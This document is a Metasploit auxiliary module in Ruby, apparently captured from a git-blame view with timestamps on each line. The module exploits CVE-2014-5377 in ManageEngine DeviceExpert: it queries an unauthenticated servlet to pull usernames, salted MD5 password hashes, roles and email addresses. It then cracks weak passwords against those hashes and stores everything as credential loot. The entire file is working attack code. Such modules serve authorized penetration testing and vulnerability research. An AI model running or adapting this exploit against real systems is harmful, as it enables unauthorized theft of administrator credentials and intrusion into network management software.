2014-09-18 19:18:59 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-09-18 19:18:59 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(
|
|
|
|
info,
|
|
|
|
'Name' => 'ManageEngine DeviceExpert User Credentials',
|
|
|
|
'Description' => %q{
|
2014-09-26 22:03:28 +00:00
|
|
|
This module extracts usernames and salted MD5 password hashes
|
2014-09-18 19:18:59 +00:00
|
|
|
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
|
|
|
|
|
|
|
|
This module has been tested successfully on DeviceExpert
|
|
|
|
version 5.9.7 build 5970.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
|
2015-04-03 11:12:23 +00:00
|
|
|
'Brendan Coles <bcoles[at]gmail.com>' # metasploit module
|
2014-09-18 19:18:59 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-09-24 01:00:23 +00:00
|
|
|
['EDB', '34449'],
|
2015-07-31 05:23:19 +00:00
|
|
|
['OSVDB', '110522'],
|
2014-09-24 01:00:23 +00:00
|
|
|
['CVE', '2014-5377']
|
2014-09-18 19:18:59 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 28 2014'))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(6060),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true])
|
|
|
|
], self.class)
|
|
|
|
deregister_options('RHOST')
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_users
|
|
|
|
users = nil
|
2014-09-24 01:00:23 +00:00
|
|
|
vprint_status("#{peer} - Reading users from master...")
|
|
|
|
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
|
2014-09-18 19:18:59 +00:00
|
|
|
if !res
|
2014-09-24 01:00:23 +00:00
|
|
|
vprint_error("#{peer} - Connection failed")
|
2014-09-18 19:18:59 +00:00
|
|
|
elsif res.code == 404
|
2014-09-24 01:00:23 +00:00
|
|
|
vprint_error("#{peer} - Could not find 'ReadUsersFromMasterServlet'")
|
2014-09-18 19:18:59 +00:00
|
|
|
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
|
|
|
|
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
|
2014-09-24 01:00:23 +00:00
|
|
|
vprint_good("#{peer} - Found #{users.length} users")
|
2014-09-18 19:18:59 +00:00
|
|
|
else
|
2014-09-24 01:00:23 +00:00
|
|
|
vprint_error("#{peer} - Could not find any users")
|
2014-09-18 19:18:59 +00:00
|
|
|
end
|
|
|
|
users
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_user_data(user)
|
|
|
|
return if user.nil?
|
|
|
|
username = user.scan(/<username>([^<]+)</).flatten.first
|
|
|
|
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
|
|
|
|
role = user.scan(/<userrole>([^<]+)</).flatten.first
|
2014-09-24 01:00:23 +00:00
|
|
|
mail = user.scan(/<emailid>([^<]+)</).flatten.first
|
2014-09-18 19:18:59 +00:00
|
|
|
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
|
|
|
|
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
|
2014-09-24 01:00:23 +00:00
|
|
|
pass = nil
|
2014-09-18 19:18:59 +00:00
|
|
|
['12345', 'admin', 'password', username].each do |weak_password|
|
|
|
|
if hash == Rex::Text.md5(weak_password + salt)
|
2014-09-24 01:00:23 +00:00
|
|
|
pass = weak_password
|
2014-09-18 19:18:59 +00:00
|
|
|
break
|
|
|
|
end
|
|
|
|
end
|
2014-09-24 01:00:23 +00:00
|
|
|
[username, pass, hash, role, mail, salt]
|
2014-09-18 19:18:59 +00:00
|
|
|
end
|
|
|
|
|
2014-09-24 01:00:23 +00:00
|
|
|
def run_host(ip)
|
2014-09-18 19:18:59 +00:00
|
|
|
users = get_users
|
|
|
|
return if users.nil?
|
2014-09-24 01:00:23 +00:00
|
|
|
|
|
|
|
service_data = {
|
|
|
|
address: rhost,
|
|
|
|
port: rport,
|
|
|
|
service_name: (ssl ? 'https' : 'http'),
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
2014-09-18 19:18:59 +00:00
|
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'ManageEngine DeviceExpert User Credentials',
|
|
|
|
'Indent' => 1,
|
2014-09-24 01:00:23 +00:00
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
'Username',
|
|
|
|
'Password',
|
|
|
|
'Password Hash',
|
|
|
|
'Role',
|
|
|
|
'E-mail',
|
|
|
|
'Password Salt'
|
|
|
|
]
|
2014-09-18 19:18:59 +00:00
|
|
|
)
|
2014-09-24 01:00:23 +00:00
|
|
|
|
|
|
|
vprint_status("#{peer} - Parsing user data...")
|
2014-09-18 19:18:59 +00:00
|
|
|
users.each do |user|
|
2014-09-24 01:00:23 +00:00
|
|
|
record = parse_user_data(user.to_s)
|
|
|
|
next if record.join.empty?
|
|
|
|
|
|
|
|
user = record[0]
|
|
|
|
pass = record[1]
|
|
|
|
hash = record[2]
|
|
|
|
role = record[3]
|
|
|
|
mail = record[4]
|
|
|
|
salt = record[5]
|
|
|
|
|
|
|
|
cred_table << [user, pass, hash, role, mail, salt]
|
|
|
|
|
|
|
|
if pass
|
|
|
|
print_status("#{peer} - Found weak credentials (#{user}:#{pass})")
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_type: :password,
|
|
|
|
private_data: pass,
|
|
|
|
username: user
|
|
|
|
}
|
|
|
|
else
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
private_data: "#{salt}:#{hash}",
|
|
|
|
username: user
|
|
|
|
}
|
2014-09-18 19:18:59 +00:00
|
|
|
end
|
2014-09-24 01:00:23 +00:00
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
access_level: role,
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
|
|
}
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
|
|
|
2014-09-18 19:18:59 +00:00
|
|
|
end
|
2014-09-24 01:00:23 +00:00
|
|
|
|
2014-09-18 19:18:59 +00:00
|
|
|
print_line
|
2014-09-24 01:00:23 +00:00
|
|
|
print_line("#{cred_table}")
|
2014-09-18 19:18:59 +00:00
|
|
|
loot_name = 'manageengine.deviceexpert.user.creds'
|
|
|
|
loot_type = 'text/csv'
|
|
|
|
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
|
|
|
|
loot_desc = 'ManageEngine DeviceExpert User Credentials'
|
|
|
|
p = store_loot(
|
|
|
|
loot_name,
|
|
|
|
loot_type,
|
|
|
|
rhost,
|
|
|
|
cred_table.to_csv,
|
|
|
|
loot_filename,
|
|
|
|
loot_desc)
|
|
|
|
print_status "Credentials saved in: #{p}"
|
|
|
|
end
|
|
|
|
end
|